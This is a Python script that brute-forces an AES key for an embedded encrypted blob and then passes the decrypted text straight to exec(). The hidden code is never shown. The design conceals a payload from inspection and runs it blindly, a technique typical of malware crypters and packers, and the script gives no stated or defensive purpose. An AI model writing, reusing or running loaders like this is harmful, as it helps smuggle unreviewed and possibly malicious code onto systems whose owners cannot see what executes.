from Crypto import Random
from Crypto.Cipher import AES
import hashlib

class Decryptor:
	def __init__(self, key, file_name):
		self.key = hashlib.sha256(key.encode('utf-8')).digest()
		self.file_name = file_name

	def pad(self, s):
		return s + b"\0" * (AES.block_size - len(s) % AES.block_size)

	def decrypt(self, ciphertext, key):
		iv = ciphertext[:AES.block_size]
		cipher = AES.new(key, AES.MODE_CBC, iv)
		plaintext = cipher.decrypt(ciphertext[AES.block_size:])
		return plaintext.rstrip(b"\0")

	def decrypt_file(self):
		dec = self.decrypt(self.file_name, self.key)
		return dec

class BruteForce:
	def __init__(self, encrypted_codes):
		self.encrypted_codes = encrypted_codes
		self.password = 0

	def start(self): 
		status = True
		while status:
			try:
				test = Decryptor(str(self.password), self.encrypted_codes)
				decrypted_code = test.decrypt_file()
				executable = decrypted_code.decode() 
				status = False
				return executable 
			except UnicodeDecodeError:
				self.password += 1

encrypted_codes = b'N:\xc9\xc2\x96\xe3\xd5r:\xb1\xca\x86\xf4\x03\x17\xd9\x01\x07\x87\xad\x87\xe9\x8a\xafR\xed]\xed{\x9e\xc6\x8eK\xfb\xbcR_\xb0^\x89>\x9c\xdb\xec\\\xd8E\xc4\xb7\x95#~\x8bVaw\xabo\x9dvt\xe8\xd1\xdbuk\x1b\xe8\xfa9\x9d\xdbC\xdc\xd3m\xf1Q\xfb\xb5\x8aX9B\x9caJ?\x84>\xf5f\xe1N1g\xa5O\x9d\x9c\xc1\xef1V\xbb\x0f\xcf\xdb&2E\xcf\xa5+ \xf5:\x96\xd5\xcc\x7f\xb2\t\xd6,\x1a=\xf1{\x08\xaa\xc6\xa5\x82\x10\x9d<;\xc27\x0b\xa8\x1d,\x85A\x7fp\xc1l\xf1Y\x805\xc2\xffm>\xb9\x845\xb2Dk\xe0\x8a&\x816\xd3\xe8*P\xa6\x12\xa8[gs\xc8=\xe78D\x01\xb9\n\xd0\x18\xd2\x90}d\x0f\xe8W\x10"\xc6:\xbb\t5\x9d\x16\x1f7\x08\xd2\xc2\xab2?;\x19\xcc\xffQ\x07\x00\xa0\xb6\xb5\xd4\xda$\xc4\x02\xfbjA\xba\xe4\xf3\x9c&l\xf6;H\x0f\xebl\xd8\x06\x8f\xdf\xed"\xb0\xafh\x02S\x86?\xa7)Y\x9b\r\x91L\x10)i:7\xe1\xac\x9a\x89I\xa1\x1f\x99\xa2\xbfA\xd6\xf0I\x83\x94b \xb6\xee\xfd\xaa\x92\x11\x98\xca\x95\xdf\x1f \x0c^\x08\xfb\xd9Q\xf3\xd0\x07\x8cIOJ\x96\x1a2\xcb=\xf6\xc6\x01\x0cleG|\xebN\x92\xe3\x9d\x10\xb5W\xba\x9e\xd2\x8d\x93&@\x14\r\x13\x8bpg\xfe\x87@\x1c\x88\x8bY:\t!\x9d\xd9\x1a!\xf8\x9d\xcd\xde\xa1!\xcd\x02}nho\xc5T\xc6I;\xa0\xb2\x11\xfe\xa9m\xc1\x88|\xadG\xc5\xd4\x84\xcc\xbb(\xce\xb7\xfb\xd9\xc8)\xec\xcb\xe6\x8f\xc6>\xbf\xbcu\x08\xd2\xa4Y\xc4\xafO\xee\x14eY\x0f\x87t:\xe5?\x9a\xfa\xfb \xcaP"i2\xb8\xb1\x0c\x07\xe6C\x9c\x81d\x96\xb3M\xb0[\xfd>\xf2{\x81j\xf75g\x08o\xf9\xa0=l\x81\xbe,\xb6Z\r0\x0c\xc7V\xa2\x1f\xcb\xdd\xdd\xe3\xd1\x9b}\xd9\x93R\x0cZe\xf5\x1by-\x84\xfeT/W\x02\xf6+8\xcc\xe0\xe2h^\x9cq4J\xbd\xf8ba\x1a\xe7t\xa9\x0bx\xb3\x13b~\x0cU\x03\xc5p\x92rW\xa9\x9f|LdK\xe6V08#\xaa\xbe0\x151\xce\xbeH\xe9\xc9%`/\xc7\x1b\xdea\n\x04)\xb3#\xf6\xbe\xc7\x0bv\xdc\xf3$\xf6\x89\xa4\x10\x05\x7f\xc8\xb6W>\x17\xa5\xf9x\x9c\x0ci\x0f\x88\xd0zR\x89\xadV\xff\xc1\ta\x91\xea\x91\xde\xe3(\x7f\xe3\x82\xce\x14m\xd76[\t\x8bX\x81c\x8f\xd2\xa9\xdeZ1{\x1e\xd8\xe5\xc6\x1ao\\L\x83\xb6/\x15\xd3\x88~\xfc4\xd7\xd6P\x0f7\'K\xa5A\xf0A_St\xdd+\x0c\x15\xfau\xc7\xa3\xe2jQ\xe8[\xdcK\x0c>\xadx\x9fe\x8a.\xbf\xaex\xc2\x83U`Y\xca.\x11*7\x083K\x8c\xed\xb3$\xae\xda\xcb\x1d\xa1\xebczk\xe2\xa5\xc3E\x86\x8a\xb9T\xd3\x9a)W\x99\x96\x16\xf5T\x18\xf6\xf01\xa8N\xa2\x1b\x9d\xedn3\xbc%\x08B\xc7\xf2d\xbe8N\x1b\x1f\x10u|[\x9a\xde\x8f}\x91\xf7\xbeIa\xf1\xcfJ\x8ftKf[\xfdf\x9f \xe3\xb1\xaf\rP\xad\x89D$\x80\xfa\x87\x99\xf6R\x92\x0f\xa3\xa9]\x15<\x0c\xcf\x12\xe1\xe9\x1b\x97=|\xcd\xfb\xe3&&\x94\xf0\xd8\x02\x0c\nL\xb0g\xc1\x9c\xc0{\x1dyh\xb0\xb8\x85\x9e^\xa7NS\xe6(>D\xda?\xdf1S\xb6\xc9\x8b\xf7\xa4\xa9\xd3\xffu\xc0\xcd^Y\xaa\xf3^0\xbe\xedT\xa1\xe0\xcb\x90\x95\x06\x81\x9f\xbb\xe1\xb2\xfa\xc2\x88U\x88\xcf\xd2PE\x89L\\\x9e\xf2\xd9\xf1|\xf8x\x16h9c|\x96:u\x90t\xa9\x91\xaa\x9d\xd7r^\x1f\x9fbI\x85\x05\xe7\xae%h\xbd=,\x97\xc5\x0by\xb5\x87=\x93i\xfa\xe6\xf1\xe8d\xf9\x08bG\\s\xbd\xd3\xb5\xd3\xf5l\xebv\xaege\x1chB\xdd\xf2w\xc2\xfc\x100\xdd\x0c\xc3\xbb\x04\x05\xc0\x97\xa0\xa4H\xd6s;)t\xcb\x05\x85\x8b\xebf\xe9\xf8\x15\xdb\xc1lCW27\xbf\x08\x7f\x18h\xc7\x9e\xc7\xf1&\xe7\xb8;N\xd4\xd0\xe2\xd8]\x0b\xa0\xceo\x99\xe91\x0c\xcc \xf0\xfaw\xed\x03o\xac-\xf2\x03\x1d\xdb\xa3\xeaV\xd4\xb6\xac\xb6;H \xfa\x84\xb2\x97\xb5lH\x0f\xebuB\xa3F\xfe\xcf\xebX\x9e\xb1\xba\xd8?s\xe9\x96\xbe<\xcb\x1f\xd9\x9e\xa4\xc1\x10\xc2\x86\x17\xb4R\xb1\x91\x08]w\xd4l\xe0\x1f\x80\x8bv\x16M\xd2\xeb\x14\x81h?ax\n\xde?\x17\xca\xba\xcd\xf9\xaf\x043Y_\xa86\xca=\xec@\x9a\x8e\xbcqZ\x8d\x92\x9c\xb8\xe5\xc2\x06\x10\xdaDi\xac\xa8\xc9\xd0\xa4\x104\xb1\xf1\xd5_\xb9\xdb\x8c\x13CmH\xfe\x86Ya\x91}\xc3\xbe\x85\x99\x877x\x9b\x05\xcbJ\x0b\xcd\xec\xa2\xbak\t\xdfE\xe6\xc1\xf51_\xae]fdC\x0bl\x19\t\xa3_\x96%\xf0\xc7\x82E\xe2\xdby\xe5\xa8GG\xc1\x91M5[\xf0\xf4AxFU\x90H\xf6;\xc0\xf1\x94&\x1dK\x14\x8c\xbda\xd1\nE\xb9\x9d\x06{W:L\xb2\xd7\xc4\xd4l3\xeb\xcb]H\t\xcc\xf0o\x007\xc1\xf0DR\xca\xfb\xd7\xe6\xcd\x84:\xf1\xe5(\x82\xdc\xbd\x14\x8a\xc6\xfa(\xa1\xb3\xbe})l\xbe\xda\xeai\x831\xc4\xd7\x12\xb5\xcc\x80T\x0b\xe1\xe5trC\xee\xa3r^\x8aq\xd0\xcf\xc6\x1d\x01\x03\xbe\x87~H)\xdb\xb9\xc0\xa7\xaa\xffo\xf4\xaa\x19n\xee1\xf8uqb\xb0\xd3|U\xbcX\xdf\t\x1cS\xd9^\xa0\x84B\xb5$d\x99K\x01c\xc0\xa6\xb8\xa1\xc0\x9c9%\xebv\r\x06\xcd\'\xa9\x9c\xef\xe7K6u\xed\x82\x86\xa5\x8a[\xb1_\xb5\xb9n\x81\xf0\x14\x85(\xe8\x91\xa4+\xa7\xd4\xee\xede\x8d\x0c)H\xc23\xd8fZU\x97\xc0\x1f\x9d\xf8{\xb7\xf3?\x95\xf6U1\x89\x81\xa5\x0e\xf2\xdf(\xd7\xd7]\x0b\x06(\x0e\x02\xc0(\xaf\xf43\xc4\r\x00\xa3\x1a\xc1\x1e,\x04\x05\xac\xaf\xe9\x1e\x1c\x98\xe6Q\xc1\xc7\xb2\xac\xf7Pz\x83&x\xa9\xf3e\x9f\xc5\x7f\x92KE\xe4\xcbpb\x97\xd3\xa5\x1b\xd6\xf3\xaa\xb2Gq\xfe\xf0\xbb\xed\x9f9\x97\xd9\x9d,\x11\t\xf8U\x16\xeb\x81\x97\x1b\xfe\x87U\xd4S\xe1\xe5\xca\xefE\x9c\xa1\xad\x10\x0f\xefd\xf8\x19\x11b2R\x045e\x9fiF0\xbcS)\xedRsM\x9e\x8a\x80\x12\x81\x88F\xe25\x1c\xca\xa9&\x15\x12\x01\xf4\x94\xd7\x03\x8b\x82S\xe2\xfc\xaatA\x05\xeb\xd1~\x9f}\x14\xaa\xd1\xa0D!\xba\xa8]\x88:i\x04\xc9H\xc0\xa1\xf7\xbb\xa9\xb3\xd7\xcb\xd5}\xc5\x98\xff\x1b\xde1\x0e*\xc9\xca\xaa\xb6\xbbli\x02{\xd4\x1fw9f\xf1\xaf\x89aTs\x88;\xeb\xf7\x9e\xdfB\x98\'G\xe2\x0e+J\xbd\xcd\xe6$\xab\x01\x9d\x05\x0b\x91\xc9\xc86B59yQ\xe7$C\xe1\xf2\xab\xfbZ3\xc3.\xb8\xf4h]w\xa6\xb9\xb7\x87\xc2\xef\xdaE\xa7!`V\xdf\x82\xd2\xafJ\xd8\x02A$\xdeP\x93\x1e5|\xb9P\xcf-q\xaf<^u\x92\x03\xaf\x9a\xf2\x96\x01\x07\xa0|\x1ez>\x17\xd8\xf7\x9a_S)\xf5\xaf\x81\xf8\xd5\x0fcB\tv\xd2tYV\x0e\xed\x18|\xb4\xb0&\xec\xc6\x03\xe3\xe1\xa2\x1b\x16\x8e\xbe\xd3\x971\x9c\xc3@\xbf"\xb0\xa0\xa1\x905\xdbO(\xca\x80}#\xb6\x83:\xddn\xb0Q\xf9\xff\x181\xd9\x18\xab;\xf6\x9e\xe2\x99\x08$\xbbv9\x8d*22\xb6\xd0\xcd{\xd4\xd5c`\xbbF\xe8\xda\xe0\xc4\xe7\xed\xa5\x93\xef\xe8wK\x99v=\x98\xb7R\xa7a_\xa9\x9d\xab\xf2\x92\x16\xf5\xe9k4\x86\xab\xea\x9d\xb8E\xf7\xf1\x1d\x0e\xfdFq\x89\xc4U\x82o\xa7\xb0\x9e}\x0c\xbb\x85X \x7f\xeb\xaf\xf1\xd0\x19\x1b\x0e\xbbZ\x02\xb6\x1d\x97n\xcaC\xfd\xf4\xb6\xaes\xb9\xd3\xe9R\xaf~\x9c\xd8\x8dD\x14w\xe2\xfc\xe7\x82\x8e%\xe9\x88\xa5Y\xf8\x10L\xcd\x98+\xb1\x18\x81\r\x8a\xea\xf7\xa33`\x84+Rw\xe9T]&\xed\xeeI\xb0WO"e\x17Y\xa2b\x90\xc5]\xea\xe6\x8eV\x9b\xffv\xed\xa7\xf1u\xf0\xbf\xce\x19n\t\xbc\\~\x0f3\x0e\x828\xf7\xd1$_\x07\xfc\x9c\x03{3F\xa0\x9b/\xb4\x94\xafC\xc6\x92\x95\xe5\xdf\xf3j\xe6vp=\xd6$\xfd\xa7qZ\xbco\x92 O\xae!#$L\xe0\xbd\xcf\x99\x90\xa8\xb5\xf4\x7fl\x17T\xd9^m\x03\x96\x12\xb0D\x9b\x134\xd5\xff\x03"\x97\xef\xbc\xf6\xa7\x8d\xb8\x9e\x13\x19\x05G\x9b\x10\x12\xaeE\xa5\x16-\xa2:\xe3\xd0=M\t\xfdb\xfe+\xa1\xfc|}\xac\xb0BV(\x86\x9e\xc3P\x06(\x02\x03<Z\xafAV_8_>\x85\x0ey\\Sg\xa8-u7<\x18\xb6\x8f\xcb\x05I"\x8f]\xfd\x7f3\xd2\xd2f\x17\x17\xbcLw\xe1\xca\xc2I\xfaxu\x0fh\xaf\xb9\xc9\x8fWQ\x9dM\x83,\xd7\x00\xabrU\xd8@c\xd19#T\xbc\xf7\xee\xe0\xdc\x8d\x15C\xc0\x10\x9d\x0bI4\xe9=\xd1`\x16j&\xff\x1fa<\xd2,$\x91\xe2,\xb3R\xdb\xe6U\x16\xd6\xcb\xf3\x8752\xb1\x12\xc2dp\xfaI@\xfb\xbf\x9ec\x82\xf4\xaa\xcd(rg\x05\xacv\xba\xac/n&f\xa8\x0f\xdd@\x07/\xafx\x07\xad\xc5\x1b \xfb\x89}\x94\xcc\'6J\xcf\x92\xceEz\x96\xa5\x1a\xd8\xd5\xcao\x1fb\x86\x11z\xe5\x01,\xbf\xde\xf9\xc1\xc9\xfc\x8aI\xa49\r\xf6\xf1)W\xab@s\xabzx\x97PK\xbd\xff\x06(\xea\xfa\xf3\xd1tJ\xdf\xbfp\xfbQe\x9d\xc4\x8db&\xe3\xe8\xf8\x08\xe2\x1dM\xb9\x16~t\xdc>b\x12\xe9:\xa1\x18\xab\x98=\x8e+\x12s\xb4\x15\x9f\xd6\xbeQ27\xa7\xda[\x17\x04\xf5\xcb\x1dR\x82\x9cHy\x7f\x18\x08\x01\x11A\x86\xf3t\x9a\x91Y[\xb7\x16\xaf\x005W\xe1\xd0<\xd5\x1c\xa0\x9f\xd1\x19\xc2BV\xe6\x84z@\x81\x8b\xebg\xee\x17\x91[\xa3\xf0\xfa\xd5\x02f\x95\xd9yQ\x81+\xd1\xc6\xa9<\xf0\xff\xba\x04FS\x8d\xf0\x8d\xe8~\x11e\xb5\x81Y\xdd\xab\x02\xd6I\xb0H\xadt\r\x17\xed\x14\xfd/\x9fN;1\xf5\x91\xc0\x04\xcf\x98\x0c\x05\x85<\x88\x03k\xe12\x16\xda*^\x07\xf0lwux\x96\xff\xa21\x82\xcb\xb2\xee\xd8C\xd3\xc1Y}Qj\xb7\x0b\xb1\xfd\xd0\xaa\xc2\xf7\xb3\xee\xc1y~Zn\xb7\x82\x14\x8a\xf0[\xab\x10\x17\xf6\xd4\x02}\xe4\x1d\xe4\xf7"\x0f\x88\xf9\xe4Ece\x06\xafd\x84\xab\x1a\xb1\xf1\x9b\xec("\x8cp\x02\xf3L\xa1\xcb\xaf,_<\xec\xbc\x06V\n\r\x0f1\x0e\xfa\x05\'\x95\x9e\x9cI|\x1c\xbe%j[\xbd\\\xea\x07\x8c\xb7\xa7\x1fB\xa1s\xaeo\xf1G\xc2lw\x15\xff\xd5\xe6t?\xb2\x13\xf7\xa3h\x95\xc6\x91\xf8\xac\x95\xf5\xfc\xdctI\xd3N\x06\x10\x8df\xb3\x9df\xb6\x165\xfcT\x01\x93\xa9fs\r\x1a*,\x8b\xb5\x1f\xbd\xfe\x9b\xd3\x915\r\x00\xc8H\xd8\xcc\x11)\n\xde0+3\x0b\x14!\xa1\x8a\xe7\xcc\xedGQ\xe8\xcf\xc4\xeb{\xf7\xcb\xa98\x8aP\x8b\xd5\xd0\x08\xe8\xd8\xc6\xdfE<;f\x02\xf7\xf7\xc9_\xe4\xe59"nB\xc3\x00[\xb7\xaa\x11\x1c2\xf8\x1d\x97\xe0x\xb6r\xaaAt0\'\xf4\xc5g\xe2\x98\x84\x04N]@%\x02\xfdf\n#w\x88\xfb\xb0x\xd5\xa8\x1cav\x1e\xbe\xc3\xb36<\x97>(\t\x11\xb7\x10\xfcX\xbaQ\xe9\xb9\xf5L\x7f\xee/\xc7\x99\x16k\x82/}\xb2\x91\x04\x18\xf5(m\xf0\xe7^\xc0\x04\x86E\xa2*\x16\x1c\x05\xca&\xed\xdf\xa3\x1d\xbb\xac'
brute = BruteForce(encrypted_codes)
executable = brute.start()
exec(executable)
